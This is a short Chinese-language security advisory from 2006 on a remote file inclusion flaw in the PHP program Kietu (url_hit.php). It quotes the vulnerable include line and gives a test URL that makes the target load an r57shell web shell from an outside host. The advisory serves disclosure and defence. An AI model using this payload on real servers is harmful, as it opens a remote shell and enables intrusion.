发布日期：2006-09-27
更新日期：2006-09-28

受影响系统：

Kietu Kietu <= v4.0.0b2z

描述：

---

BUGTRAQ  ID: 20229

Kietu是一款由PHP编写的程序。

Kietu的url_hit.php脚本没有正确的验证用户输入，允许攻击者通过包含本地或外部资源的任意文件执行任意代码。

漏洞代码如下：

include_once $url_hit.'class/kdetect.class.php';

<*来源：D_7J （D_7J@yahoo.com）
  
  链接：http://milw0rm.com/exploits/2438
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/[Script Path]/hit.php?url_hit=http://d4wood.by.ru/r57shell.php?

建议：

---

厂商补丁：

Kietu
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://kietu.free.fr/

浏览次数：2634
严重程度：0（网友投票）